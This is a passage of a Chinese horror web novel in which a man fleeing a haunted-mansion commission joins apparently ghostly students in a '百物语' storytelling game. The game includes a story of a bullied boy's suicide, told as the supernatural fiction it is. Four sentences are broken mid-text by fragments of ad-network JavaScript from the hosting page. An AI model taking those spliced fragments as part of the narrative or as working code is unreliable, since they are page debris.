他原本躲在2楼玩具房的儿童帐篷里,但想到王彬和洛晚都在楼下,这两个聪明人没有一个在楼上,心中不安,于是打算下楼去找王彬。 他悄悄地打开门,屏住呼吸探出脑袋,还没来得及伸出脚,就与一个脸上布满了缝合伤疤的鬼魂对个正着! 那是个手提长刀的男人,他站在敞开的卧室前,阴暗的夜光从室内倾泻,照亮了他提着长刀的半边身体。他没有影子,面目阴森,齐晨哆哆嗦嗦地瑟缩在门边,他感觉到对方正怨毒地盯着自己,唇角诡异地上翘。 ——鬼,那是鬼……他被发现了!怎么办,鬼要来抓他了! 齐晨吓得双腿发软,险些滑坐在地。他手忙脚乱地关紧门,把桌子、儿童帐篷、玩具箱以及房间里找得到的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一切物品都堵到门前,接着一把拉开了窗。 阴冷的夜风灌入室内,窗帘被吹得猎猎作响。 齐晨探头朝下望去,充血的脑子立时冷静下来。 太高了,不能跳……硬要从窗口跳下去的话,不死也会摔断腿。 “哒”“哒”“哒”—— 走廊上的脚步声越来越近,很快就停到了玩具房前。齐晨惊惧地回过头,耳畔满是“哐当”“哐当”撞门的巨响。 玩具箱被震得纷纷滚落,桌子和帐篷也不断后移。房门被撞开了一条缝,一只手臂挣扎着挤进来。 齐晨绝望地缩在窗下,大脑一片空白。他直勾勾地盯着越来越宽的门缝,心中恐惧到了极点,词不成句,喉咙里断断续续地传出哀嚎。 “砰!” 房门终于被彻底撞开,桌子倾倒,男人狞笑着走进来。 “不、不要啊……救命!” 齐晨摇着头往墙角躲,身/下渗出一滩腥臊的液体。他看到男人高高举起刀,反射着天光的刀尖上凝结着干涸的血渍。 ——就这样……要死了吗? 齐晨怔怔地瞪大眼,这一秒似乎被无限拉长。他本以为自己必死无疑,可不知为什么,男人忽然顿住脚步,接着身影变淡,最后消失在房间里。 难得侥幸逃生,齐晨不敢发呆,连滚带爬地跑上楼,慌头慌脑地闯进书房,又躲进了与之相连的小卧室。 幸运的是,鬼没有跟着追过来,他就这样缩在床下,直到1点的钟声敲响。 齐晨只完成过1次委托,这是他参与的第2次,虽然也见过鬼,但此时仍被吓破了胆。他不敢再单独行动,钟声一响就打开手电冲出房间,打算去找其他人会合。 正巧王彬也来了顶楼,二人在走廊相遇,齐晨双眼发亮地拽住他:“王哥,太好了……我们一起吧!” “走开!”他身上带着一股尿骚味,王彬嫌恶地皱起眉:“快滚,别挡路!” 齐晨陪着笑脸松开手,依然紧跟在他身后:“两人一起能有个照应,说不定我还能帮帮你……诶,你要去书房吗?我刚从隔壁的卧室出来,里面什么都没有!” 王彬不理他,径自打开书房的门,去找角落的大座钟。他有个大胆的想法,一旦实践成功,委托立刻就能结束! 书房里堆满了各种旧物,俨然成了个杂物间,王彬通过小卧室穿过去,刚刚靠近座钟,钟声却再次响起—— “当”! 躲藏结束,抓人时间到。 王彬惊愕地看了眼时间——1:02,只过去了2分钟,比0点后5分钟的躲藏时间还要短!照这个趋势,2点后的安全时间岂不是只有几秒钟! 王彬的脑中划过诸多念头,身体的反应却十分敏捷。他快速退出小卧室躲进了斜对面的大卧室,顺便锁死了房门。 齐晨慢了几拍才意识到发生了什么。他站在空荡荡的走廊上,浑身抖如筛糠,心底升起巨大的恐惧。 ——怎么办?该怎么办? 他不辨方向地转身就跑。 13. 百物语(一) 齐晨仓皇地跑进了3楼另一头的阳光房。 阳光房不小,夜光从玻璃顶俯照而下,将一切渲染得幽幽暗暗。他着急地打开铁皮柜,又转向摇椅、木桌和小秋千,硬是找不出一个可以躲藏的地方。 “哒”“哒”“哒”—— 有规律的脚步声突然从身后传来。齐晨身体一僵,手足冰冷,惊恐的神色顿时凝固在脸上。 “哒”“哒”“哒”—— 脚步声越来越近,他不敢回头去看,哆哆嗦嗦地往铁皮柜里挤,硬是把自己塞进了柜子里。 “哒”“哒”“哒”—— 来人走进了阳光房,距他不过5步远。齐晨死死地闭着眼,不停在心里自欺欺人地默念:看不见我、看不见我…… “哒”“哒”“哒”。 脚步声在铁皮柜前停下来。 ——他要死了吗? 也好,终于解脱了。 “第、三、个……” “齐晨!” 走廊上忽然响起跑动声,洛晚的叫喊清晰传来:“快跑!” 齐晨一愣,惊讶地扭过头,还没反应过来发生了什么,就被洛晚一把拽了出去。 “你……” “闭嘴!” 他被拖着一路朝前跑,懵懂间鼓足勇气回过头,只见一道影子立在铁皮柜前,颜色逐渐变浅,几乎消弭于空气,忽而又慢慢恢复,一点点地回过头,似乎向他们望来。 “那是……” “可恶,只有10秒!”洛晚在心中计算着道具对鬼魂的限制时间,“我们下楼!” 齐晨跌跌撞撞地跟着她,直到1楼时才如梦初醒地甩开手:“你……这到底是怎么回事?” “我去顶楼碰巧看到了你。”洛晚避重就轻道:“你已经被鬼发现了。” “为什么……” 齐晨咧了一下嘴,但却更像在哭:“你知道……我是费了多大力气,才鼓起勇气的吗?” 洛晚不解地皱起眉:“你……” “让我去死啊!”齐晨忽然推了她一把:“反正大家都要死,为什么不让我干脆地去死?起码不用像现在这样心惊胆战地四处逃命!” “……”洛晚看着他,一时无言以对,“既不想逃命又不怕死的话,你可以去中止委托。” 她这本是一句气话,哪知齐晨却双眼一亮:“没错,我都忘了还能这样……中止后会怎么样?有人试过吗?” “不知道,但大概会死吧。” “你不知道又凭什么断言?”齐晨只选了她的前半句听,顿时又感到充满了希望:“我要中止委托,我要离开这个鬼地方!” 说着,转身就朝外走。 “喂!”洛晚忍不住扬声提醒:“逃避或中止必定要受惩罚,很可能会死得更快!” “你也说了是‘很可能’,总不会比眼下更差了。” “……” 洛晚目送他跑到前院,拉开铁门,飞快地离开白家公馆,不禁暗暗叹口气。 …… 四个人是开车来的,车就停在白家公馆的大门外,可齐晨没有车钥匙,只能徒步往山下走。 废弃的别墅群黑漆漆的,沿途只有零星的路灯发出暗淡的光。他喘着粗气吭哧吭哧地跑下盘山公路,直至浑身酸软、双腿打颤,才满头大汗地停下来。 阴冷的夜风呜呜咽咽地贴地卷过,齐晨拄着膝盖休息了一阵,好半天后才抬起头。 他不知道自己跑了多远,也不知道还有多远才能下山,反正顺着这条公路走下去就能回到市区内。 不过……齐晨摸着咕咕叫的肚子,手脚发软。上一顿饭还是中午吃的,晚上又消耗了大量体力和脑力,此时神经一放松,疲惫上涌,他立刻感觉身体沉甸甸的,连步子都有点儿迈不开。 白家公馆位于城郊,如果光靠步行,恐怕走到天亮也到不了市区。齐晨想到这里不禁沮丧起来,他掏出手机想叫出租,却意外地发现这里没有信号,连电话都打不出去。 ——为什么会没信号?来时明明还有的……难道附近有鬼魂?中止委托的惩罚开始了吗! 齐晨神经质地环顾四周,一会儿瞧着路灯下的树影不对劲,一会儿又觉得夜风刮过落叶的声音像鬼哭。他草木皆兵,疑神疑鬼,好半天都没走出几米,胸口扑通扑通地跳个不停。 汗黏在身上,被风一吹有些冷。齐晨哆嗦了一下,又累又饿,眼皮也开始打架。 可惜这片别墅全都没人住,不然……咦? 他揉揉眼睛,惊讶地看着斜前方的红色圆顶欧式别墅,脚步不自觉地慢下来。 那桩别墅的二楼窗前亮起了一支蜡烛。 齐晨记得这幢房子,来时的路上他还感叹这幢欧式别墅和国外的城堡一样漂亮,结果被王彬不屑地嘲讽了一句。当时他就看到有扇窗前点着一支蜡烛,可还不等细瞧,车子就开走了。 ——那里果然住着人吗? 齐晨想要进去借宿,但又怀疑那是鬼魂的陷阱,否则怎么会这么巧,他刚想找个地方歇歇,那里就亮起了蜡烛? 而且,这片别墅区不是废弃了吗,为什么那里会有人住?还是用蜡烛照明…… 他在这边犹疑不定,冷不防玻璃上多出两道影子,一个人打开窗户探出上半身朝他招手:“喂——你需要帮助吗?” 喊话的是个年轻男生,态度热情,响亮的声音在空旷的静夜里回荡。挤在他身边的家伙好奇地探着脑袋,也学着他的样子高声喊道:“你——稍——等——” 说完就转身跑开了。 这两个人看着像学生,热情大胆,善良单纯,齐晨的心不知不觉间放下一半。他在原地站了一会儿,很快有一男一女手拉着手走出别墅,鬼鬼祟祟地跑过来。 齐晨谨慎地观察了几秒,见他们两个都有影子,轻轻呼出了一口气,彻底把心放下来。 难得在这里见到正常的活人,他生出一种劫后余生、回到阳世的欣喜,激动地快步迎上前:“你们是……” “你是谁?”男生打 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 断他,目光警惕:“这里不是没人居住吗?你是从哪儿过来的?” “我……一直听说这边有片废弃的别墅群,但没亲眼见过,所以想来看看……” “原来你也是来探险的!”女孩子兴致勃勃地接口:“那和我们一样诶!” “探险?”齐晨一愣,马上就明白了他们的意思。年轻人喜欢猎奇,胆子大的会去凶宅、荒山、郊外等地一探究竟。他在学生时代也和同学到鬼屋去探险过,眼下回忆起来,心情微妙。 人对未知还是该怀有些敬畏之心。 “我是个凶宅主播,今天先来踩踩点,所以没带摄像机。”他随口编了个谎话:“你们呢?你们还是学生吧,家长知道你们在这儿吗?” 两个人似乎信了他这话,男生尴尬地挠挠头:“什么家长不家长的,不要那么扫兴嘛……你刚刚是去山顶了吗?走上去的?” “开车来的,但车子在半路抛锚了,我只好徒步走下来。”齐晨半真半假地叹口气:“我实在走不动了,正琢磨到哪里去休息一下……” “那你和我们过来吧。”男生侧过身,爽快地把他往红色别墅里引:“我叫李郁,这是我女朋友王雪,里面还有我们班的三个同学……哦,忘了介绍,我们是锦安大学的一年级生,暑假没回家,在学校里待得无聊,所以决定今晚来试胆。” 说话间,他们已经走进大门,穿过庭院,来到了黑暗的大厅里。齐晨把手电筒丢在了白家公馆,此刻只能拿手机照明,心中不禁开始犯怵:“你们的同伴呢?不是还有三个吗?” “嗯,在这里。”李郁熟门熟路地带他来到-1层,果然,小客厅的方桌上点着六支蜡烛,三个男生正围坐着聊天。 听到脚步声,他们纷纷新奇地望过来。 “我回来了!”李郁招呼了一句,扭头为齐晨介绍:“最高的那个是王博,小雪的双胞胎哥哥;那个胖子叫钱康,他旁边戴着眼镜的是林奇。” “这是谁啊?”王博率先发问,齐晨认出他是刚刚探着身子最先喊话的人。 “他是个凶宅主播,今天来踩点儿,可惜车子抛锚了,只能步行走下山。”李郁兴奋地抢答道:“主播诶,说不定咱们也能出镜呢!” “哪有这么便宜的事!”其他人显然不太信:“你叫什么名字?有多少粉丝?” “你来这里干什么?是去白家公馆吗?” “你都到过哪些鬼屋……” 齐晨下压双手示意他们安静,思考几秒后,把自己经历的第一个委托缓缓讲了出来。 他刚才还暗道李郁真好骗,三言两语就带他进了别墅,一点都没有防备之心,原来人家是仗着人多,压根就不怕他有歹念。 委托毕竟是亲身经历,齐晨为了让他们相信,故意描述得恐怖阴森。五个大学生听得聚精会神,待他讲完后,友好地拉着他坐到沙发上,也不再细问他的身份。 王雪从包里又拿出一支蜡烛:“幸亏我多带了几根……差不多就开始吧,一会儿天都要亮了。” 14. 百物语(二) 废弃别墅的-1层中,6个人围坐在不大的方桌前,桌子上燃烧着7支蜡烛。烛火闪烁跳跃,将每个人的脸映照得幽暗不明。 齐晨局促地动动身子,他觉得气氛有点儿怪:“你们这是要干什么?” “玩一个游戏。”王博神秘地冲他眨眨眼,“‘百物语’,听说过吗?” 齐晨摇摇头:“那是什么?霓虹岛的游戏?” “没错!”他颇为兴奋地打个响指:“它是霓虹岛传统的怪谈会之一,据说很容易引来鬼魂!” 齐晨刚刚逃离白家公馆,眼下最怕听到“鬼”字,闻言立刻警惕起来:“……你们到底想干什么?” “试胆啊!”李郁笑眯眯地转向他:“你是凶宅主播,不会不知道‘试胆大会’吧?” “试胆大会”同样来自霓虹岛,是霓虹岛上的传统之一,目的是通过游戏来锻炼大家的胆量,经常在夏日的夜晚举行。齐晨犹豫地看着他们:“你们想通过灵异游戏来试胆?” “是的。”王雪毕竟是女孩子,此时受周遭的气氛感染,情绪有些紧张:“‘百物语’的规则很简单,我们一共有6个人,桌子上有7支蜡烛,每人讲完一个故事后就要吹灭一支蜡烛。一轮过后,如果最后一支蜡烛也被吹灭,就说明鬼魂降临了。” 齐晨强作镇定地点点头,可心里却直发憷:“那个……你们玩吧,叔叔累了,只想找个地方歇一会儿,天一亮就走。” “不是吧大叔,你不会是害怕了吧?”钱康用手肘捅捅身边的林奇,挤眉弄眼地揶揄:“你不是凶宅主播吗?不会只有这点胆子吧!” 林奇推推眼镜,冷漠道:“‘百物语’进行时不能有外人在场,你既然坐到了这里,就必须参加。” “说得对,”王博望向他,重复道:“你既然坐到了这里,就必须参加。” 烛火幽暗的房间里,五个人齐齐盯过来,面无表情,目光逼视,齐晨无端打个寒颤。 这一瞬间,他们的面孔死板严肃,眼瞳漆黑无光,身躯僵硬,宛如五具直挺挺的尸体。 齐晨的胸口怦怦急跳,手心里渗出一层冷汗。他狠狠揉了两把脸,手臂却被身边的王雪碰了碰:“对了,大叔,你刚才说自己又困又饿吧?实在不乐意的话,就找个房间去睡觉吧。” “……可以吗?”齐晨小心地抬起脸,发现大家全在忙活自己的事,气氛重新恢复了正常,刚刚的惊悚仿佛是错觉。 他定定神,偷偷瞄着墙上的影子,暗暗责怪自己疑神疑鬼:“我不是害怕,我就是……第一次接触这些,不太了解,怕破坏了游戏规则。” 与玩招鬼游戏比,他更不想独自待在黑暗的房间,更何况年轻人火力旺,大家凑在一起让他很有安全感。 “放心吧,很简单的!”王博环顾四周,有模有样地清清嗓子:“都准备好了吗?准备好咱们就开始了!作为这次活动的发起者,我先来——你们知道我为什么把地点选在这儿吗?” “因为白家公馆吧!”钱康抢答道。身为灵异爱好者,他常年混迹在论坛上,对本地的凶宅奇案了如指掌:“白家公馆十年前发生了一起灭门案,女主人和一对儿女全被强盗杀死了,后来男主人上吊自尽,他们的幼子也意外身亡。” “对了,大叔,你就是从那里出来的吧?”李郁坐在王雪旁边,探着脑袋看过来:“沿着盘山公路往上走,除了白家公馆外,好像也没什么凶宅了。” “……对,我的确去了那儿。”齐晨不愿再回忆白家公馆中的噩梦,佯装生气地岔开话题:“喂,我早就想吐槽了,我大学毕业刚一年,还不至于被叫成‘大叔’吧?” “啊,对不起!”李郁尴尬地挠挠头:“但你长得真的不年轻……” “咳!”王博瞪他一眼,“你们还想不想听了?” 林奇无趣地撇撇嘴,“如果你要说那桩灭门案,还是趁早换一个吧,我们想听点儿新鲜的。” “我打算给你们讲的,是白家公园第一任主人的故事。”王博压低声音,脸孔在烛光下有些阴森。 “其实,白家公馆在建造时就发生过晦气的事。工人曾从地里挖出了五具白骨,但由于时间久远,难以调查,警方无法取证,只能当成悬案来处理。这件事被开发商动用关系压了下去,我是在一个帖子里无意间看到的。 “建造在尸体之上的不祥之处,就是白家公馆。它那时还不叫这个名字,不过为了讲述方便,我们全以‘白家公馆’来指代。它的第一任主人是对事业有成的创业夫妻,可几个月后,这家人却神奇地消失了——” 齐晨紧张地交握着双手,忍不住想起了洛晚找到的那本日记,女主人在最后写到自己被砌进了墙壁里……难道,一切都是真的? 那日记又是谁写的?鬼魂吗? “你知道,那家人去了哪里吗?” 王博刻意压低的声音突然在耳畔响起,齐晨吓得一颤,猛然抬头,正对上他阴暗放大的脸。 “呀!” 他惊呼一声,身体侧仰,差点儿从沙发上滚落。静默几秒后,其他人哈哈大笑,钱康还夸张地擦着眼泪:“大叔,你胆子也太小了吧?这样真的能做凶宅主播吗?” 齐晨捂着胸口大口喘息,许久后才勉强地扯扯嘴角,“我刚从白家公馆出来,现在听你们说这些……咳!故事结束了吗?” “当然没有。”王博退回到座位上,拧开矿泉水喝了一口:“你们也看到了,这片别墅群很大,楼与楼之间距离很远。那家人性格冷淡,从不与邻居交往,所以失踪后也没被马上发现,最后还是他们的合作伙伴察觉到异样,联系了警方,但那时已经过去很久了。 “警方搜寻未果,他们就这样活不见人,死不见尸,直到一年后——几名租客在 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 地下室的墙壁里发现了三具尸体。经调查,这三个分别是前任男主人、前任女主人,还有他们当时的保姆。” “天呐……”王雪害怕地握住男朋友的手:“他们是被杀死了吗?” “看起来是的。”王博耸耸肩:“可惜直到现在也没找出真正的凶手,或者已经找到了,但我不知道。这桩凶案影响恶劣,因此警方封锁了消息,后续我也不清楚。” “这不算灵异故事吧?”林奇不满地嘟囔:“喂,搞清楚啊,我们玩的是招鬼游戏,不是了解法制与生活。” “这确实不算灵异故事,但里面隐藏着灵异元素。”王博嗓音低哑,黑漆漆的双眼中反射着烛火:“据发现尸体的租客说,他们住进这幢别墅后就开始做噩梦,每晚都能梦到一个女人从地下室的墙壁里走出来,四处搜索,寻找活人。” “这算是……感应?”王雪依偎着李郁,若有所思道:“从科学的角度来说,每个人都是一团能量,如果能量过强,死后仍没消耗殆尽,就会变成普通人眼中的‘鬼魂’。某个人在某个时刻的磁场恰巧与‘鬼魂’相合的话,会得到感应,也就是我们所谓的‘见鬼’……” “你还真是无时无刻不在传播科学。”李郁失笑地打趣:“作为一个唯物主义者,你为了证明世界上没有鬼而和我们天天混在一起,真是难为你了。” “世界上没有科学无法解释的存在,迷信只是因为我们的科学还没发展到一定程度……” “好了好了!”钱康不耐地打断她:“求求你快去发展科学吧,别给我们来科普了!” 王雪白他一眼,显然习惯了这种恶劣的态度。王博见他们不再争吵,这才继续道:“那群租客搬走后,白家公馆再次空置下来,几年后又被白家人买下,接下来你们就都知道了。” 语毕,他低头吹灭面前的蜡烛,“呼啦”一下,室内立即暗淡了几分。 “这一点都不刺激!”钱康不依不饶地嚷嚷:“咱们得加个规矩,后面的人必须要讲鬼故事,不能是什么悬疑凶杀案!” “其实无所谓吧,‘百物语’里没有这个要求……” “少废话,早知道这么无聊我就不来了!”钱康嘟嘟囔囔道:“下一个,谁?” 烛火忽闪忽闪的,众人的面庞跟着明明灭灭。齐晨环视了一圈,略微紧绷地咳嗽几声:“我来吧。不过事先声明,我也不太会讲鬼故事,忽然被你们拉来玩这个,一点准备都没有……” “没问题没问题!”钱康眉飞色舞道:“大叔,快点开始吧!” “我要讲的是京城某高中里流传的怪谈。”齐晨舔舔嘴唇,学着王博刚刚的样子放缓语速:“据说那所高中成立自民/国,历史悠久,现今依然赫赫有名。但30年前,由于消防设施不到位,学校里发生了一场火灾,顶楼最后一间教室里自习的十多名学生全被活活烧死……” 15. 百物语(三) 幽暗的-1层中,烛火闪烁不定。齐晨盯着面前的蜡烛,双手在桌下紧紧交握,掌心渗出一层黏腻的冷汗。 “这起火灾发生后,那间教室立刻就被封了。当时网络不发达,传播消息全靠纸媒,但这件事影响不好,主流媒体纷纷回避,所以到最后也没多少人了解,只在小范围内流传过一阵。 “再之后,老校长退休、新校长上任,恰逢那一年教育改革,各大高校纷纷扩招,教室不够用,所以这间教室又被重新启用,匀给一批新入学的高一生。怪事就是这个时候开始出现的——” 齐晨局促地搓搓手,四肢发凉。他不喜欢这种安静怪异的氛围,加快语速想尽快结束:“重点高中的学生都很刻苦,很多高三生会自发留在教室里学习。有位同学一不小心睡着了,醒来时已经将近0点,身边空无一人。 “他心里暗叫糟糕,急急忙忙地走出教室锁好门,穿过长廊想下楼,却看到不远处的高一教室还亮着灯,里面传出一阵读书声。高一不像高三,学习没那么紧张,很少有高一学生自习到半夜。他很好奇,于是悄悄地凑过去……” 齐晨富有技巧地停顿了几秒,却被5双直勾勾的眼睛盯得发憷。他舔舔嘴唇,干巴巴道:“这位同学悄悄地凑过去,推开门后却发现教室里一个人都没有。他吓坏了,连滚带爬地跑出教学楼,第二天向老师反映情况,但老师却不相信,认为他是精神压力大,出现了幻觉。 “后来,遇到怪事的同学越来越多,不止一个人看到那间教室半夜亮着灯,胆子大的甚至特地去蹲点,严重影响了正常秩序。学校迫于无奈,只好又把它封掉了。整个故事就是这样,我讲完了。” “呼啦”一下吹灭蜡烛,齐晨暗暗松口气。这里的气氛实在太阴森,他的神经不自觉地跟着紧绷,此刻竟然生出一股逃过一劫的庆幸。 ——不行,不能这样自己吓自己! 他用力攥了一下拳,强迫自己抬起脸露出笑容:“怎么样,可以了吧?” “开头还挺刺激,结果……就这?”钱康无语地翻个白眼:“我还以为推开教室门后能看到更劲爆的东西。” “留白才有想象的空间,太具体就没意思了。”齐晨放松地喝了口水:“下一个是谁?赶紧的,早点讲完早点结束,你们都不困吗?” “我们还年轻呢!”李郁揶揄地接口:“没人抢的话,下面就让我来吧。我讲个咱们学校的怪谈,这是去年刚入学时,一个学长告诉我的—— “学校里的逸夫实验楼,你们都去过吧?那边有条不成文的规矩,晚上八点就锁门。” “明德楼不也是八点锁门?”林奇推推眼镜:“而且,档案馆去年着火了,实验楼里保存着一部分档案,慎重点也正常吧?” “在档案馆着火前,实验楼里就有这个规矩,前几届学长学姐都知道。”李郁神秘地压低声音:“言归正传——以前有个学姐与男朋友吵架,晚上想不开,去洗手间里割腕,被发现时,鲜血流了一地,血渍浸在瓷砖的缝隙里,怎么擦都擦不掉。 “自那以后实验楼就不太对劲,总有学生反映十点后在厕所里发现满地血迹、自习时东西无缘无故地摔在地上、走在长廊上感觉有人触碰肩膀……这些事在贴吧闹得沸沸扬扬,学校没办法,最后只好让保安每晚八点赶人,提前锁门。 “我们暂且称故事的主人公为A君——A君胆大好动,听说了实验楼的传闻后很感兴趣。他和三个室友一拍即合,决定选一天待到深夜,看看到底会发生什么。 “为了避免意外,A君和室友L君躲在楼里,另外2人则在外面照应。晚上8点,保安照例巡查撵人,他们躲进厕所,谨慎地待到9点才出去。” “等等,为什么是L君啊?”林奇出声打断他:“L,是那位室友的姓氏吗?李?林?凌?” “这点过一会儿再说。”李郁喝了几口水:“A君和L君从厕所出来后,漫无目的地在楼里闲逛。他们特地去学姐自杀的洗手间里拍照,但却毫无异样。就这样捱到凌晨3点多,两个人又困又无聊,认定了一切都是传言,打算回宿舍去补觉。 “老旧的教学楼中没有电梯,他们迷迷糊糊地往下走,下了一层又一层,可就是到不了一楼。L君察觉到不对,让A君在原地休息一会儿,自己先下去探一探。但他离开后,就再也没有回来。 “A君坐在台阶上休息够了,一个人继续朝下走。虽然室友没回来,但他并不担心,他以为对方在和他恶作剧。然而接着又下了5层,楼梯却依然在向下蜿蜒,他终于怕了,不知道该怎么办,也不知道这条路究竟会通到哪里。 “A君想给室友打电话,但手机却没信号;他想上楼回到教室,却发现身后根本就不是实验楼里的模样。A君吓坏了,可他无路可退,只能不停往下走。不知下了多少层,楼梯总算是到了尽头。他的面前出现一条黑色的河。 “那条大河宽广无垠,无风有浪,水面上散发着淡灰色的光,在纯粹的黑暗里,这是唯一的光亮。河边停着一艘木船,A君好奇地站上去,船却忽然晃晃悠悠地漂动起来。 “那似乎是个异空间,头顶一片漆黑,周围是绝对的死寂。A君颤巍巍地缩在船上,心里逐渐害怕起来,他觉得黑暗深处有什么在窥视,对他这个外来者充满了恶意。 “小船越漂越远,A君感觉到自己离那个恐怖的存在越来越近。他慌慌张张地想跳船,可弯下腰后才看到,水中伸出了一只只惨白干瘦的手,正在挣扎着往船上抓! “A君惊恐地朝后退,却一脚踩空,滑进了河里。他感到身体被撕碎,越沉越深……再睁眼时,他发现自己正躺在寝室里,室友说他昨夜在实验楼中睡着了,怎么叫都叫不醒,他们只好先把他抬回来,而L君则消失了。”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 李郁翘起嘴角,笑容在烛火下有些阴郁:“后来A君报了警,各方搜查无果,2年后把L君列为了失踪人口。大家都认为L君死掉了,但其实——我就是那位消失的L君。” 语毕,他吹灭面前的蜡烛,其他烛火也跟着闪了闪,室内的光线又暗淡几分。 “真有你的啊,结尾的反转吓我一跳!”王博冲他竖起大拇指:“不过前面还是很老套,哪所学校没几个自杀的呢,类似的怪谈太多了!” “我可没说谎。”李郁一本正经道:“我就是L君,随你信不信。” “好好好,你是你是!”钱康白他一眼,“你是L君,我是Q君,这下行了吧?” 几个人嘻嘻哈哈的,谁都没把刚刚的故事当回事。齐晨心事重重地坐在他们中间,双唇紧抿,脸色发白。 宽广无垠的黑色大河、泛着微光的水面、黑暗的四周、怪异的小木船……李郁的描述与第一次打开羊皮纸后进入的空间一模一样! 他忍不住开口发问:“李郁同学,请问这个故事你是从哪儿听来的?” “这是我死前的最后经历。”李郁直勾勾地盯着他,微笑的弧度越来越大:“我说过了,我就是L君,可你不信,有什么办法?” 他的嘴角夸张地咧开,表情僵硬,眼神邪恶。齐晨不自在地扭开头,他突然发现自己其实一点都不了解这几个学生。 “你还装上瘾了!”王雪嗔怪地拍了男朋友一下:“不许随便吓唬人!” 李郁冲她温和地笑笑,转开视线不再盯着齐晨,后者暗暗地松口气。 “对了,你们是什么专业的啊?”齐晨佯装无意地问:“我是锦安本地人。据我所知,锦安大学的师范专业不错。” “我、小雪和钱康是学小语种的,林奇是大气专业的,李郁……”王博停顿了几秒,茫然地转向妹妹:“你是怎么认识的李郁来着?” “他是学长啊,哥哥,你忘了吗?”王雪看看身边的男朋友:“我在实验楼里自习的时候遇到了他,然后……咦,然后……” “好了,追究这些干什么,又不是什么重要的事!”钱康急冲冲地打断他们:“游戏进行完一半了,只要再讲3个故事……嘿嘿!” 他迫不及待地环视着众人,“下一个是谁?没人的话……” “谁说没人?我来。”林奇慢条斯理地瞥他一眼:“有什么好期待的?你不会真以为讲故事就能招来鬼吧?” “少废话,想讲就快讲,一会儿天该亮了!” “我要说的故事不算恐怖,你们可能会失望。”林奇困扰地皱起眉:“但……这件事与我有关,我已经疑惑很久了,可怎么都找不到答案。” 林奇是他们中最聪明的家伙,王雪对他费解的问题很感兴趣:“是什么事?” “故事发生在一所高中,从校园矛盾开始……” 16. 百物语(四) “在一所强制住校的县城高中里,有个从农村考上来的孩子总是被欺负。同学们嫌弃他穿戴土气,要打他;嫌弃他说话有口音,要打他;嫌弃他每次都是最后一个交书本费,还是要打他……他性格迟钝,脑子也不灵活,我们暂且称之为木木。木木就是这个故事的主人公,也是让我困惑的存在。” 林奇习惯性地推推眼镜,略宽的袖口随之下滑,露出了瘦骨嶙峋的手腕。不知是不是眼花,齐晨好像看到上面有块淤青,可还不等他仔细观察,林奇就把手放了下去。 “木木每天都遭受着暴力,但他不敢告诉老师,因为施暴者威胁他说敢告状的话就揍得更狠。在这种糟糕的环境中,他的成绩迅速下滑,性格越来越阴沉,整个人变得沉默寡言,老师和家长对他很失望。 “为了排遣心中的压力,木木养成了半夜听有声恐怖故事的习惯。他经常在大家睡着后一个人溜到天台上,看着空旷的操场,想象着校园里游荡的鬼魂。恐怖故事的内容十分老套,基本全都是厉鬼害人,听久之后,木木忽然萌生出一个危险的想法:如果自己也变成厉鬼,是不是就没人敢欺负他了?” “你不会是想讲厉鬼报仇的正义故事吧?”钱康无聊地打个哈欠:“我承认,木木同学的确很可怜,不过咱们玩的是灵异游戏,这种情节也太无聊了!” 林奇弯起唇角,笑容在幽暗的烛火下有些诡谲。他没搭理钱康,继续道:“这个想法越来越强烈,在某天无缘无故地又被毒打后,木木终于决定,他要自杀,变成厉鬼,再杀死所有欺负过他的人。 “为了保证自己能变成厉鬼,木木特地去买了一身红衣服。中元节那天,他提前回到寝室,在两个上铺中间系好绳子,最后把自己吊死了。” 抬手轻轻抚摸着脖颈,林奇遗憾地叹口气:“木木怨气深重,死后的确变成了厉鬼,可阴世与阳世的规则不同,鬼魂无法到阳世兴风作浪,唉……” 李郁看着他,微微一笑:“原来你和我一样。” “一样吗?”林奇摸着脖子摇摇头:“我明明记得自己是自缢的,但脖子上的勒痕却不见了,只剩下舌头——” 他张开嘴,慢慢将舌头往外伸,舌尖甚至已经舔到了下巴,却还在继续向下垂! “其实,我就是木木——” 林奇的声音又低又闷,宛如自胸腔里发出。齐晨惊恐地瞪大眼,身体不停地往后缩。 “呼啦”,一阵怪风把林奇面前的蜡烛吹灭了。 桌子上顿时只剩下三根燃烧的蜡烛。 火光跳跃,室内阴暗难明。齐晨一眨不眨地盯着林奇,后者疑惑地冲他歪歪头:“我的故事讲完了。大叔,你怎么了?” 他表情无辜,声调正常,影子投射在墙壁上,刚刚那幕仿佛是自己的错觉。齐晨按住太阳穴晃晃脑袋,忍不住转向身边的王雪:“那个,同学,你刚才有看到什么怪异的东西吗?” “你指什么?”王雪被问得满头雾水:“这里除了我们6个,还有其他怪异的吗?” 眼见几人全都好奇地望过来,齐晨擦擦冷汗,松了口气:“看来只有我看到了……错觉,一定是错觉!” 王博奇怪地前倾身体:“你看到什么了?” “……没什么。”齐晨定定神,站了起来:“不好意思,我身体不舒服,实在撑不下去了……我想到隔壁去休息。” 这里的气氛太阴森,第六感告诉他,再待下去恐怕要出事。 “大叔,你这也太扫兴了!”钱康不满地嚷嚷:“难得我们今晚成功溜出来,下次还不知道是什么时候,你现在退出等于破坏规则,万一影响我们招鬼怎么办!” 齐晨听到他毫无顾忌地说出“鬼”字,不自觉地哆嗦一下:“对不起,不然……作为补偿,明早我带你们打车回去。市中心有家高档的海鲜自助餐,咱们一起去吃午饭,我请客!” “不用了。”王雪轻声细语地为他解围:“这栋别墅的-1层是会客厅,楼上有很多空房间,您可以随便选一间。不过……” 她愉悦地牵起嘴角,眼底闪过烛火的幽光:“游戏进行了一大半,说不定鬼魂已经被招来了,正在附近的某处游荡。大叔,在这种时候,你真的愿意独自去楼上的房间吗?遇到危险的话,可没人会帮你哦~” 这句类似诅咒的警告准确地敲在了齐晨的心坎上。他迟疑地站在沙发前,果然犹豫起来。 “你到底在怕什么呢?”李郁幽幽地盯着他:“怕鬼?那就更该和我们在一起了。人多力量大,如果真发生什么意外,也好有个照应。” 